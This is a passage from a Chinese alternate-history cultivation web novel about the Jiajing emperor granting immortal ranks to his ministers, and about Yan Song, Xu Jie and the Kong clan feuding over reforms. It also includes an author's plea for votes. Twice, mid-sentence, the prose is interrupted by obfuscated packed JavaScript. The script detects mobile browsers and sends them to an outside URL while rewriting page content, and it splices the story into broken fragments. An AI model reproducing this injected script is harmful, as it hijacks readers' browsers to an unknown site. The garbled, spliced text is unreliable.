尤其是看着严嵩父子、徐阁老父子,都已经修炼突破到了练气一层,真正做到仙凡有别后,他们心中早已嫉妒的要冒酸水了! 如今,仙法终于赐下了,他们也可以踏上仙途了。 至于胡宗宪、王崇古和俞大猷三人,此刻表现也没比张居正和高拱好多少,即便三人都是久经沙场,见惯了大风大浪和生死也一样。 没有人可以对仙法,修仙长生说不,也没有任何一个凡人,能在此刻保持平静! “平身吧,”嘉靖说着,又将目光看向胡宗宪、王崇古和俞大猷三人,而后缓缓摊开手掌,就见帝玺“滴溜溜”的旋转。 “内阁和司礼监众人都已经敕封了仙朝仙官官身,这回轮到你们了。” 仙朝仙官官身?! 听到这几个词,胡宗宪三人对视一眼,眼眸颤抖,呼吸都不由的急促了起来,而后再次齐齐跪倒在地,大声道谢: “臣等叩谢主隆恩!”说着,三人直接在地板上磕头,磕的梆梆响。 他们三人,虽说是新党,但背后都有人。 胡宗宪背后是严嵩,王崇古背后是裕王,俞大猷背后则是景王。所以在三人入阁之前,关于修仙之事就已经不是秘密了。 仙朝官身意味着什么,他们也更加清楚。 别看他们虽然入阁了,也被赏赐下了仙法,可若是没有被敕封官身,依旧不可靠。 仙朝官身,意味着以后大明成为仙朝了,他们这些人,就是真正意义上的位列仙班了。 所以,此刻听到皇上要给他们仙官官身,如何能不激动? “嗡嗡嗡!”帝玺从嘉靖手心脱离而出,飞到大殿之上,而后在众人的注视下,来到胡宗宪三人头顶之上。 下一刻,就见嘉靖大手一挥,众人就惊讶的看到,胡宗宪、王崇古和俞大猷三人入阁的敕书就这么被隔空取物一般招到眼前。 如此手笔,再次让众人骇然。 皇上能随手一招就将三人家中的敕书招来,那岂不是说其他东西也能随手一招即来? 那么,皇上这一手覆盖的范围是多远? 还是说,只要是大明境内,万物皆可召之即来挥之即去? 窥一斑而知全豹,嘉靖无意中展露的一手,却让严嵩等人心头愈发的骇然与敬畏。 此刻,众人颇有一种,不修仙见皇上如野草见青山,修仙后则见皇上如蚍蜉苍天的感觉。 皇上太神秘,手段太莫测了! 上次可载着所有人御空而行,横跨汪洋的飞梭,这一次招手间,万物尽归所有。 随着大殿之上,三人的敕书打开,帝玺盖章之后,金色敕书没入三人识海,嘉靖也看到了三人的本命。 胡宗宪的本命是一柄看起来古朴,未出鞘,平平无奇的长剑。 王崇古的本命则是一把通体墨绿色的大弓,旁边还漂浮着三支利箭。 最后则是俞大猷,嗯,俞大猷的本命倒是特殊的很,竟然是一条头生独角的黑蛟。 “都起来吧。”敕封完仙官官身后,嘉靖摆摆手,示意众人起来。 “谢皇上。”胡宗宪三人起身后,站回自己原来的位置上。 “好了,该赏赐的都赏赐了,”嘉靖说着,抬了抬手指,道:“有个事要通知 尔等。” 听到皇上有事要通知,众人立刻神色一凛,认真的听着。 “不久后,朕会在整个京城种下灵脉,届时会往尔等内阁众人府上引一条支脉,以供修炼。”嘉靖说着,语气渐渐严肃下来。 “届时,灵气会浓郁数倍不止,不过尔等要谨记,灵脉乃是我大明日后发展仙朝的根基,绝对不允许破坏,任何人不得私自挖掘破坏!” 听到嘉靖说要在京城种下一条灵脉,众人都是一愣,不明白这灵脉是何物? 不过听到灵气会浓郁数倍不止后,众人都不淡定了。灵气浓郁度的不同,他们可是切实感受过区别的。他们府上的灵气浓郁度,跟灵田小院的灵气浓郁度,那完全不是层面。 都是修仙者了,再加上有吕芳的讲述,自然知道,灵气越浓郁修炼速度就越快,境界增长也更快,不仅如此,灵气浓郁的灵田种出来的灵物资源质量也就越好。质量越高的灵物资源,服用之后,修炼速度也就更快。 听到灵气浓郁度提升,他们自然惊喜了。因为这关系到他们的切身利益。 不过很快,众人又捕捉到了皇上话中的另一个关键点,那就是在整个京城种下灵脉! 那岂不是说,整个京城都会有灵气诞生?那是不是,只要有人得到了修仙功法,且人又在京城当中,就可以吸收天地灵气修炼? “看来你们都想到了,”嘉靖点了点头,道:“不过为了不让灵气过于浪费,朕会在灵脉中布下禁制,以确保灵脉灵气逸散减少。” “不过即便如此,京城居住的生灵,长此以往后,体质也会得到改善。一些飞禽走兽,或者是家禽,或许也会因此而得益。” “虽然不会像直接服用灵物资源那般,导致体型发生改变,但难免会生出一些异象。” “到时候,京城的治安也要注意,对百姓也要做到应有的引导,避免恐慌。” 灵气复苏,嘉靖不是没有考虑过,这三年,他除了闭关修炼之外,也看了大量的,关于‘死星’、‘灵脉’、‘灵气’这些古籍。 根据一些古籍记载,大竹书院曾在大角星之外的一颗死星上,种过一条一品灵脉,并记录了一颗‘死星’如何复苏的全过程。 整个过程,持续时间是三千年整。 第一年,因为选择的死星比较小,所以一品灵脉足以覆盖,所以当年灵气便开始逸散。 之后在十年时间内,整个‘死星’上,灵气已经十分充沛了。 然而,在接下来的数百年内,除了灵气的滋养下,花草树木变大变壮之外毫无变化,根本达不到灵植的标准。 此外,还有就是飞禽走兽,依旧无法完全蜕变为古兽,依旧是凡间的野兽。 一千年结束后,书院为‘死星’引入古兽,灵植、并有意的引导古兽与凡兽结合,灵植与凡间草木结合,培育新的血脉。 如此,又过了一千年。 凡兽血脉开始退化,出现新的古兽品种。 一些凡俗的植物,再与灵植结合后,开花结果,种植之后,诞生出的竟然是全新的灵植。 等到第三个一千年结束后,这颗‘死星’,严格意义上讲,才算是盘活。 所以,灵气复苏,可不是简单的四个字,更不是有灵气就行。 就是说,血脉当中必须要有传承,然后“仙凡”结合,才能诞生新的血脉,完成蜕变。 因此,嘉靖倒是不担心在自己的大明,掀起灵气复苏,然后山精鬼怪,霍乱天下。 此前,严嵩说的灵兽大军,说白了就是灵物培养下,变异的凡兽而已,本质不曾变化。 大明想要引进灵植、古兽,就离不开血脉的嫁接。不过这些还不急,需要慢慢来。 万事开头难,眼下大明已经完成了步入仙朝的最后一步了,只要严世蕃的变法结束,下一步就是大明,正式宣告迈向仙朝的日子! 这一天,或许会在五年后,也可能是十年后,不过嘉靖等得起,所有人都等的起。 “是,臣等遵旨。” 思绪飘荡之际,众人的声音响起。 “至于这灵脉为何物,”嘉靖说着,抬了抬手指,道:“尔等暂时可以将其,简单理解为,灵气诞生的源头之所在。” “天地间,之所以会有灵气,就是因为有灵脉的存在。” 是这样吗?当然不是! 在修仙世界,灵气自然不是因为灵脉而出现,是先有灵气,才有的灵脉。 不过对大明来说以后就是先有灵脉,后有灵气,嘉靖让众人如此理解,倒也不错。 “徐阶,”这时,嘉靖又看向下方的徐阶,“你儿子徐璠,可是工部侍郎?” 众人听到嘉靖问起徐阶的儿子,都是将目光投向徐阶。 徐阶此时也疑惑不已,不知道好端端的,皇上怎么会提起自己那个不成器的儿子。 不过想归想,疑惑归疑惑,徐阶还是赶紧上前一步,躬身道:“回皇上,整顿吏治过后,犬子如今已任命工部尚书。” 说到工部尚书时,徐阶有些尴尬。 毕竟自己的儿子徐璠,还不到四十岁,如今就已经是工部尚书,这其中若说没有他这个那个 赐福的原因,怕是没有人会信。 但是现在皇上竟然问了起来,他也不得不说。 “哼!”听到这话,严世蕃轻哼一声,脸上的鄙夷之色,更是毫不掩饰。 说他严家,结党营私?那徐阶的儿子,如今不到四十岁就已经坐上了工部尚书的位置,这里头能没点猫腻?这又算什么,以权谋私? 严世蕃的目光环视清流一众人,被他盯着,张居正、高拱和赵贞吉的目光都默默移开。 这事没法说,之前整顿吏治后,两派早早的就开始了重新提拔人才,拉各官员站队了。 工部尚书的位子,徐璠也是被人推上去的,毕竟此前徐璠就是工部侍郎了。 “他可修仙了?”嘉靖又问道。 “回皇上,”不知道皇上意思的徐阶,只好将身子再次躬了一躬,道:“犬子与臣同一日修仙,如今也已经达到了练气一层。” 听到徐阶说徐璠也突破到了练气一层,嘉靖倒是不惊讶,三年时间了,徐阶都突破到了练气一层,徐璠只要不是太差也应该是这个境界。 “不错,”点了点头,嘉靖一抬手,下一刻就见一本长一尺,厚约两寸,牛皮纸样式的古书出现 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14669376|156780||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,然后漂浮到徐阶跟前,道: “此书名为《仙工博物志》,书中记载着一些,‘仙界’的机关术与工匠之术,你将此物交于他,”嘉靖说着,抬了抬手指,道:“朕给他三个月的时间,让他看完后,写一份奏本。” “是!”听到皇上这是要重用自己的儿子后,徐阶赶紧双手捧着《仙工博物志》。 来自‘仙界’的机关术与工匠之术?! 听到皇上竟然交给徐阶的傻儿子徐璠,严世蕃嫉妒了。 众人看向徐阶的目光中,也都有羡慕之色。 当然,严嵩此刻的关注点与旁人不同,他听到了‘仙界’两个字。 心中愈发肯定,皇上果然是进入了‘仙界’,所以才得到了仙人的帮扶。 同时,严嵩心中也越发的肯定起来,等到大明膨胀到一定程度后,皇上定会图谋‘仙界’。 “好了,该说的都说了,散了吧,裕王和景王留下……”嘉靖摆了摆手起身,朝着玉熙宫偏殿而去,裕王跟景王默默跟上。 众人纷纷跪着相送,然后陆续离开玉熙宫。 “少湖啊……”徐阶等人要结伴离开的时候,严嵩在严世蕃的搀扶下,突然叫住了徐阶。 除了玉熙宫,风雪中。 三波人站定,呈一个三角状。 严世蕃和胡宗宪二人,一左一右站在严嵩身边。对面则是徐阶、高拱、张居正和赵贞吉。而在旁边,则是王崇古和俞大猷站定。 不远处,玉溪宫阙下。 陈洪、黄锦和石三站定,默默看着如今,四分五裂的内阁。 黄锦跟石三默不作声,陈洪则是满脸冷笑,道:“看吧,狗咬狗了,以后热闹了。” 闻言,黄锦看了眼石三,然后道:“玄圃宫那边还等着我伺候,就告辞了。”说完,转身迈入了风雪之中。 “哼!”看着黄锦消失在风雪中的背影,陈洪冷哼一声,“溜须拍马之辈!以前讨好吕公公,现在讨好国师,小人一个!” 闻言,石三笑了笑没有说什么,只是客气的拱了拱手,道:“陈公公,有几个小太监,送入了宫,需要安排他们修炼仙武法……” “去吧,去吧。”陈洪不耐烦的摆摆手。 见此,石三客气的作了个揖,然后转身没入风雪中。 “无能之辈!”陈洪不屑,他瞧不上石三两面不得罪,圆滑的处事态度。 “严阁老,不知有何事?”徐阶看着叫住自己的严嵩微微颔首。 “哈,”严嵩笑着拱手道:“倒是没有什么事,就是想恭喜恭喜少湖。 徐璠这孩子,性格敦厚,人品贵重,能得皇上看中,实乃他应得的福缘啊,哈哈……” “阁老谬赞了,”徐阶笑着点头,姿态放的很低,“跟小阁老比起来,他还有很多东西,需要长进。” 听到徐阶当面夸赞自己,严世蕃则是挤出一个笑容,并未搭话。 虽然他在大殿之上挥斥方遒,不过私下里见面,该有的内阁诸老的体面,还是有的。 除非是闹得不死不休,要不然不会给这位内阁次辅甩脸子的。 “哎?哈哈……”严嵩笑着摆摆手,“术业有专攻,少湖不必妄自菲薄。” “这《仙工博物志》记载了‘仙界’的奇功妙术,皇上能交给徐璠,必然是看重于他……”说着,严嵩语气微微一顿,道: “少湖啊,等大明变法之后,怕是就要步入仙朝阶段了,那时“新国子监”必然建立。 诸子百家齐聚一堂,这《仙工博物志》是再好不过的镇院之宝啊。” “若是徐璠能将《仙工博物志》编撰成多册,以供百家之学,功绩当无可估量啊。” 听到严嵩这么说,众人神色各异,徐阶则始终一副谦虚的模样,道:“阁老说的在理,此等‘仙著’,自然不能由一家掌握。” “必然是要为其开枝散叶,传承下去的!” 听到徐阶这么说,严嵩脸上露出笑容,道:“ 哈哈,好,少湖有这份心,是大明之幸啊。” 说着,严嵩又看了看众人点头示意后,摆摆手示意准备作揖相送的徐阶不必多礼,然后在严世蕃的搀扶,胡宗宪的陪伴下离开。 “徐阁老,我等也告辞了。”目送严嵩父子离开后,王崇古跟俞大猷对视一眼,上前对徐阶一礼,同时对张居正等人示意。 “嗯,雪大路滑,小心些。”徐阶面露宽和,温声道。 王崇古跟俞大猷点了点头,也转身闯入风雪中。 目送所有人离去后,徐阶驻足良久。 “阁老,严嵩是什么意思?”这时,张居正突出声问道。 闻言,徐阶沉吟片刻后,道:“他是在告诉我,不要独吞这《仙工博物志》,并暗示我主动公开,在未来“新国子监”里教授。” “这老贼,怕是觊觎此‘仙著’!”高拱冷声道。 “他说的对,此法编撰成册后,定是要为大明培养更多工匠大才的。大明要发展仙朝,就离不开这些仙工技术。” “若是私藏于一家,皇上也会不满的。” 听到徐阶这么说,张居正等人若有所思,这时徐阶看向沉默的赵贞吉,道: “孟静,皇上没有赏赐仙法给你,或许是有别的原因,莫要放在心上,等过些时日,我帮你探探吕公公的口风,想必他知晓。” 听到徐阶安慰赵贞吉,高拱,张居正这才反应过来,是啊,他们中还有人被冷落了的。 “孟静,”张居正开口安慰道:“徐阁老说的对,此中必然有隐情,你已经有仙官官身敕封,灵田也被赐下,说明皇上是认可你的。” “不错,孟静,千万莫要丧气!”高拱也开口安慰了起来。 看着几人对自己嘘寒问暖,赵贞吉瞳孔微微发红,重重点头,道:“我明白。” “雷霆雨露皆君恩,为官这么多年,我自然能看的看,莫要为我忧心…伺候皇上这么多年,我相信此中必有深意。” 说着,赵贞吉故作不在意的笑笑。 不过这一副模样,落在众人眼中,却有了几分说不出的落寞与无奈。 见此,众人一时间倒也不知道怎么安慰。 毕竟,他们都得到了仙法,马上就要踏入修仙一途,成为仙人了,别人可没得到。现在说的再多,都有些站着说风凉话的嫌疑。 沉默片刻后,众人也各自坐着轿子散去。 …… 玉熙宫议政,严世蕃提出‘启思革新’的国策,消息在嘉靖的授意下,不胫而走。 十多天时间,迅速席卷整个大明。 其中关于严世蕃批判儒家,推崇百家,废除衍圣公的言行,更是被无限放大。 一时间,朝野内外,一片哗然。 无数文人士子,汇聚在一起,大肆讨论。嗯,最激动的莫过于他们了。 寒窗苦读十多年,钻研八股,废寝忘食,你现在提出,科举改制,推崇百家之学?那以前学的不是白学了?这责任谁来担? 严党,严世蕃,果然是个邪恶的鬼! 一时间,天下人对严世蕃的谩骂越发的激烈了起来。 其中,多数以那些学子士人。 当然,有人反对,就有人支持,当听到严世蕃提出,士农工商,皆可入学,户籍黄册也要改制后,不少底层贱籍的百姓,只觉得看到了希望。 军户的孩子可以科举了,商人的孩子可以出仕了。 还有诸子百家学说,更是在这一刻如雨后春笋般冒出头,纷纷开始游走于江湖,高谈阔论。 一时间,整个大明热闹了,这种热闹中,带着一丝生气与活力。 嘉靖时刻关注着自己的本命,自然能最直观的感受到这一丝,气死中迸现的活力与生机。 与此同时,山东曲阜,孔家大堂中。 “大言不惭,大言不惭……”一个须发皆白的老者,看着手上的信笺,气的浑身发抖。 这老者不是别人,正是当代孔家,衍圣公! “严世蕃,严贼,如此羞辱我儒宗,羞辱我孔家,老夫,老夫与你,势不两立……噗!”说着,神情激动的衍圣公直接仰天喷出一口老血。 顿时,惊的孔家所有人,手忙脚乱。 “……” 大大们,就差三十几票了,求求了,助我月票冲个一千,让我下个月抽个奖啊,跪谢了~~~ 第一百六十章 衍圣公:与那道士皇帝分个胜负!以佛道为剑,轰杀天下儒宗! 孔家,大堂之中。 好半晌后,孔家这一代衍圣公,也就是孔贞干,终于幽幽的睁开了双眼,迎着众人关切的目光,不顾众人的劝阻,挣扎着坐起身。 “严世蕃,严贼,恶贼!”孔贞干想到方才看到的信笺,依旧气的浑身发抖。 “父亲,千万保重身体啊!”这时,床头边上,身形有些纤弱,却面色红润的书生开口。 这书生不是别人,正是孔贞干的儿子,孔尚贤。 (注:历史上,孔贞干于嘉靖三十八年去世,服务于剧情,时间线有所虚构。) 听到儿子的声音,孔贞干深吸口气,摆摆手,示意身后为他捋顺胸口的中年人停下后从床榻上下来,道:“召集所有人入祠堂!” “是。”孔尚贤点了点头,转身离去。 而围在床榻边上的孔家其他人,也都在这一刻四散而去。 不一会,孔家祠堂里,孔家核心成员齐聚一堂。 “叫大家来所为何事,想必都已经知道了,”孔贞干干枯瘦弱的手中,死死抓着手里的信笺怒睁着双眸,“严贼,欺我孔家太甚!” “不仅如此,他竟妄想通过变法,来铲除我孔家!” 听到孔贞干的话,孔家一众嫡系纷纷大怒,各个议论纷纷,开始对严家父子批判起来。 “尔等可知,严贼真正的目的是什么?”孔贞干双手虚压了压,示意众人安静。 等所有人都将目光朝他看来的时候,他这才沉声道:“众所周知,如今天下,我孔家就是儒宗之首,也是天下儒宗之正统!” “若是我儒家倒了,那届时,整个儒宗都将会遭到重创,严贼此举是要掘根!” “他是要掘我儒家的根!”孔贞干的怒吼,石破天惊,目眦欲裂,“儒宗倒了,严贼以后行事将再无顾忌,荼毒天下也不会有人站出来!” “此等祸国殃民,荼毒天下之恶贼,当遭受天诛!” 下方孔家众人也是在这一刻愤怒异常。 “我孔家,誓与严贼不两立!”有须发灰白的老者站起来大声吼道。 “掘我儒宗之根基,老夫与严贼不死不休!” “不死不休!”其他人纷纷响应。 看着群情激愤的族人,孔贞干单薄满是褶皱的眼皮下,眸子里有精光浮动。 朝廷要撤去他衍圣公的爵位,正式旨意还未下达,他要利用这最后的机会,与严党甚至是与那道士皇帝,分出一个胜负来! 不可否认,那位皇帝这七年时间里,确实做了很多利国利民的事情,更是让大明迎来太祖,“太宗”都不曾有过的盛世。 嗯,他说的太宗,自然是永乐皇帝了。 他心里从不认那道士皇帝当年大礼议,强行将永乐皇帝的庙号改成祖的荒唐行为。 虽然你这个道士皇帝,这七年来让大明迎来了盛世,天下百姓都对你改观不少,人人都私下里夸你,但这并不意味着你可以羞辱孔家。 更不意味着,你可以对儒宗下手! 自古以来,没有王朝可以动摇儒宗的地位,秦皇汉武、唐宗宋祖都办不到的事情,你嘉靖更不行,就算是朱元璋,都……嗯,他死了! 孔贞干攥着拳头,凝视着京城的方向。 …… 京城,严府后堂。 已经有弱冠之龄的严绍庭,恭敬的给爷爷严嵩,父亲严世蕃奉上一杯灵茶后,退至爷爷严嵩身旁,然后默默的凝望着堂外的大雪。 自从严家祖孙三人都踏上修仙路之后,日常给爷爷和父亲二人端茶奉水,就是严绍庭的活了。 毕竟修仙之事,乃是机密。 有道是法不传六耳,道不传非人。 虽然严家祖孙三人加起来已经六耳了,但也可以理解为六耳之外,至于‘非人’自然是府上除了他们祖孙三人之外的所有人了。 所以,为了保密,事关灵茶,饭食这些,基本上都是严绍庭的活了。 而对此严绍庭也没有什么怨言。 他自幼便早慧,成熟像是个小大人,自然明白修仙事关机密,至于府上其他人,都不配知晓,更不配接触灵物的道理。 再说,给爷爷和父亲做饭,本就是尽孝,并无不妥。 “汝贞啊,”严嵩喝了一口热茶,而后看向胡宗宪,“你如今已经入阁,也被皇上敕封了仙官官身,算是进入了我大明最核心的圈层。” “有些事情,我也该告诉你了。” 听到严嵩的话,胡宗宪赶紧放下手里的灵茶,拱手肃容道:“阁老请说。” “嗯,”严嵩点了点头,语气温吞,“我不知道你是否知晓,其实当日皇上询问推举何人入阁的时候,我推举了两个人。” “一个是你,”严嵩说着,抬眼看向胡宗宪,“另一个是应德。” 胡宗宪闻言,神情间丝毫不见意外之色,点了点头道:“其实早在收到凋令,平瀛州府的一刻,我就已经知晓了阁老的用意。” “还请恕学生眼拙,”胡宗宪说着,轻叹一口气,道:“只当此前,阁老如此是因为景王殿下,没想到如今内阁中又出现了第三股势力。” “武勋派,也是新党。”说着,胡宗宪 微微摇头,颇感无奈,“我的身份却是有些尴尬了,人人皆知,我是阁老的人。” “但,瀛州府一行,却又让我成了武勋派的代表之一。”胡宗宪眉宇间满是愁容,看向严嵩,道:“这些疑问,一直在我心间萦绕,几次想要拜访阁老,但都没有机会。” 说着,胡宗宪不着痕迹的瞥了眼严世蕃,却是迎来后者的一记冷眼。 没错,三年来,胡宗宪都不曾正式登门拜访严嵩,不是他不想,而是没机会,原因自然是这位小阁老堵门不让进了。 不过仔细想来,严世蕃其实也不过是个幌子罢了,胡宗宪知晓,若是严阁老真的要见他,严世蕃也阻拦不了。 至于阁老为什么这么做,胡宗宪心里明白,定然不会是阁老对他有意见,这其中必然有深意,所以胡宗宪也只能按捺住。 “呵呵,”严嵩笑了笑,宽慰道:“如今见也不迟。”说着,语气微微一顿,又跟着道:“汝贞,其实我想让入阁的人选并不是你。” 听到严嵩这么一说,胡宗宪点了点头,他并不意外。 阁老如此精明之人,他未入阁前就能看透的道理,阁老自然也明白。 那就只能是,阁老另有深意了。 这也是阁老三年来,对自己登门拜访都避而不见的原因。 今日,他终于可以从阁老口中得知了。 “你跟应德不一样,”严嵩缓声说着,“应德与我严家的关系,最多也就勉强算是一个互惠互利的关系。” “我需要他身上严党的烙印,他需要我帮他实现报国的理想。”说到这里的时候,严嵩顿了顿,话锋一转,道:“想必你也已经听说了,在京城郊外,皇上特批了一块灵田给我。” 胡宗宪闻言,点了点头,没有插话,听严嵩继续把话说完。 “当日瀛州府国战,那些身形如鬼魅的孩子你应该也见识过了,对仙武卫想必也不陌生,”在胡宗宪的注视下,严嵩继续道:“那块灵田,就是专门用来培养灵兽大军的。” “届时,我大明将会出现一支完全超越凡人的仙朝新军,这支新军由仙武卫驾驭灵兽大军……” 听到这里,胡宗宪心中恍然。 他的政治嗅觉并不比内阁其他人差,此刻经过严嵩这么一提点,顿时就全都明白了。 军权!说到底,不过是这两个字。 严阁老如今已经可以说是权倾朝野了,又深得皇上的信任,如果这个时候再染指军权的话,那么怕是会引起皇上的猜忌。 而唐顺之跟严阁老的关系,并没有自己亲密,举荐他入阁的话,那就能撇清自己了。 “看来,你已经明白了……”将胡宗宪的神情收入眼底后,严嵩笑了笑,“而选择你入内阁,是皇上特意敲定的。” 迎着胡宗宪疑惑的目光,严嵩将其中利害关系和皇上的意图说了一遍。 “这么说,皇上想用我来平衡裕王跟景王二位殿下,但我根基薄弱,需要阁老的帮扶?”胡宗宪说着,眼神中有了然之色。 “不错。”严嵩微微颔首,道:“不过你要明确一点,得助于严,却不属于严,你要发展自己的派系,这也是我今日要告诫于你的。” “阁老?!”听到严嵩的话,胡宗宪一惊,就要开口说什么却被严嵩抬手打断。 “不必多说了,”严嵩身子微微前倾,凝视着胡宗宪,宛若慈父般,谆谆教诲,“切记,日子很长,你要为自己,为家族着想。” “以后这大明,必然会出现一个又一个长生久视的修仙家族,这也是内阁所有人的选择!” “未来,大明会朝着何等方向发展,没有人知晓,这修仙家族发展是必然的。皇上也不会允许任何人独善其身!” “修仙家族,与仙朝之间,紧密联系,彼此利益不可切割!” 听到这里,胡宗宪眼皮一跳,身子猛的一寒,张了张嘴,道:“那岂不是要发展成,从汉末一直到唐末才结束的世家门阀割据的局面?” 听到这里,严世蕃也是一怔,猛的朝着老爹严嵩看去。 “只有如此,大明才能拧成一股绳,去迎接更大的挑战……”说着,严嵩摇摇头,轻叹道: “未来如何,谁能说的准呢,或许皇上另有打算也不一定。”突然,他望着堂外的大雪,又哼笑道:“我们能看到的,皇上岂能看不到?以皇上的霸道权御之术,所有人……” “都不过是掌中物罢了!” 堂外大雪簌簌,天地间垂挂而下朦胧的大幕,或许是修仙的关系,严嵩的视线却是前所未有的清晰,越看越远,直到天穹。 只见天穹之上,怒云翻滚,蕴藏着无尽的威势,严嵩默默收回视线。 他是看的清楚了,可心中却越发的畏惧! …… 在所有人的瞩目下,孔家出手了。 无数的信笺、飞鸽传书,从曲阜发出,飞向整个大明两京一十三省。 孔家经营数个朝代,历经春秋,代代传承下来,真要论底蕴,没有任何一个家族能与之媲美,一言既出,说句十方响应也不为过。 一时间,天下学子,士人纷纷响应孔家,开始对严家父子,口诛笔伐,大肆 批判。 不仅如此,就连严党一系的官员,也纷纷开始倒戈,更有甚者,扬言宁做孤臣,不做严犬! 然而,这还不算完,伴随而来的还有纷沓至来的弹劾奏本,全都是弹劾严党罪行的。 甚至不少还有整顿吏治之前的,更有甚者不惜以同归于尽的方式,再次拿当年的朱纨案来说事,扬言严嵩买通了自己,针对朱纨。 此外,像是什么夏言案,贪污收回,结党营私,更是多不胜数,每日都有奏本送入内阁。 不过这些弹劾的奏本都被压了下来。 然而这些可难不倒那些人,奏本被弹压,那就去西苑跪着,死谏。 玉熙宫外,御史言官,朝中大大小小,四品以上,半数多的官员全都跪在了西苑外。 这些官员,在这一刻不光有清流,还有昔日站队到严党的。 不过如今他们只为两件事。 一,弹劾严嵩父子;二,劝谏皇上不能取消孔家衍圣公,更不能听信谗言轻易变法。 严府后院灵田,严嵩的茅草屋里。 “嘭!”盛怒的小阁老严世蕃看着手上的弹劾奏本,直接拍桌而起,怒声道:“反了,那些原本靠着我严家才站到如今位子的人,竟敢公然抨击我严家,忘恩负义的畜生……” “好,好,好得很!”严世蕃踱着步,而后豁然转身,怒声道:“敬酒不吃吃罚酒,那老子就如了他们的愿,让他们连孤臣都做不成!” 榻上,盘膝而坐的严嵩缓缓吐出一口浊气,而后睁开双眼,抬了抬眼,看向严世蕃。 “从你决定变法,处理孔家的一刻开始,今日的局面就已经是注定了的,”严嵩语气温吞,拿起桌上几份奏本,温吞道: “动孔家,就是动天下儒宗。” “儒宗是个很宽泛的东西,但正如你所说,它自汉朝开始就已经存在了。” “它是自汉朝开始,历朝历代,无形之中造就的规则,它束缚的不光是现实,还有人心。” “士人学子,以儒治国,将儒家经典视作明灯。它规范着人的一言一行,思想上人人遵循礼法,不敢逾越半分!” “那是种比肩天道一般的规则!” “对它动手,注定会迎来反噬,”说着,严嵩语气微微一顿,语重心长,道:“世蕃啊,你一个人,是成不了事的。” 听到老爹的话,严世蕃眸光一闪,宽大的袖口里,拳头攥的紧紧的,看着老爹沉默片刻后,突然道:“爹,我不会放弃的。” 看着严肃的严世蕃,严嵩突然发出一声慈祥的哼笑,抬手对严世蕃招了招,示意坐下说。 “得道者多助,失道者寡助,”严嵩缓声道:“你需要帮手。” “帮手?”听到老爹严嵩的话,严世蕃低头略一思索后,抬起头看向严嵩,明悟道:“百家学派支持者、商人、受户籍限制的百姓?” “呵,”听到严世蕃这么说,严嵩笑着摇摇头,道:“这些人只是一部分,还有一部分人,比他们更为重要……” 看着笑的像是一只狐狸的老爹严嵩,严世蕃想了想,还是没有想到还有哪些人能帮自己。 “我们还有帮手,”严嵩语气温吞,抬眼看着严世蕃,一字一顿,道:“玄圃宫。” 玄圃宫?听到这话,严世蕃一愣,继而反应过来,道:“您说的是,清风?” 严世蕃怎么也没想到,自己要跟孔家对轰开战,清风能帮到自己什么? “爹,清风只有皇上一个人能用,我们可不能指挥那丫头……”严世蕃摇头说着,突然语气一顿,像是想到了什么,道: “爹的意思是说,道门?!” “悟性还算不错,”严嵩点了点头,“不光是道门,还有佛门。” “以佛道为剑,”严嵩说着,身子微微前倾,凝视着严世蕃,“轰杀这天下儒宗!” 佛道为剑,轰杀儒宗?! 看着近在咫尺般,凝视着自己的老爹严嵩,严世蕃吞了口口水,道: “爹,您到底想说什么?”直觉告诉他,老爹要说的,不光是这些,可能所图甚大! 这些年,他在老爹身边,可没少长进,自然知道,老爹的目的肯定不止这些。 “严世蕃!”严嵩沉声喝道:“你要知道,你那点小心思,瞒不过皇上,也满不过所有人。你要学会思考,为什么皇上会同意!” “那是因为你提出的,“启思革新”的根本目的,符合了皇上,符合了大明的利益!” “皇上想要让大明进行一场变革,一场打破儒宗束缚,太祖制定之下,八股牢笼的规则变法!说白了,就是臣民思想上的变法!” “之前葡萄牙的那个商人,你可还记得?”严嵩沉声道:“他说,在那片遥远的大陆上,爆发了一场史无前例的变法。” “近些年,我通过葡萄牙的商人,搜集了大量的那片大陆上发生的一切,他们的国家,文化、体制、风土、人俗……” “在那场大变革开始之前,那片大陆与我大明还有此前其他朝代的体制并无不同。” “重点是那场令人惊叹的变法,那是一种思想上的变法,与你提出的‘启思革新’不谋而合, 你提出的变法就是一个字……” “破!”严嵩沉声道:“破除旧制!” “此外,接下来我大明的‘工匠业’、‘商业’,‘百家学说’等等也都将会兴起……” “这些种种,与遥远的海外那片大陆上发生的事情,有太多相似之处了!” “而你的提出的‘启思革新’的变法,能否成功,”说着,严嵩深吸了一口气,抬起手抓着严世蕃的肩膀,道: “那片大陆上发生的变法,就是最好的参照,取其精华去其糟粕,用之!” 严嵩的话,宛若洪钟大吕,在严世蕃的脑海中轰响,震得他脑袋嗡嗡的。 葡萄牙的商人,他自然是接见了不少,毕竟未来大明要扩张海外,了解对手很必要。 而他老爹,自然也就接触到了那片大陆上,海外诸国发生的一切。他也顺着听了一耳朵,不过后来,他就没兴趣了。 海外诸国?蛮夷而已,他们能修仙吗?他们能懂什么是天朝底蕴吗?呵! 只是让他没想到的是,老爹竟然听的滋滋有味,还有了这么一番深刻的感悟。 其实说白了, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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他知道,这事必须是要老爹去求皇上了,以老爹跟皇上之间的君臣默契,他去求了,皇上就能明白是什么意思。 同时也相当于是变相的向皇上立军令状了。 因为他知道,请皇上下场出手的代价,可不低,成则罢,败了代价会很沉重! 就比如之前,海瑞大闹东南,清流没办法了,请皇上出手,代价是徐阶家族的利益网直接被戳了好几个窟窿,破财不算还要割地。 这一刻,严世蕃突然发现,这场变法,自己虽然提了出来,可真正办的时候,三年时间,终究还是有些准备不足。 用他以往的想法,最多就是引入百家、还有靠着那些商人、受制于户籍的百姓。 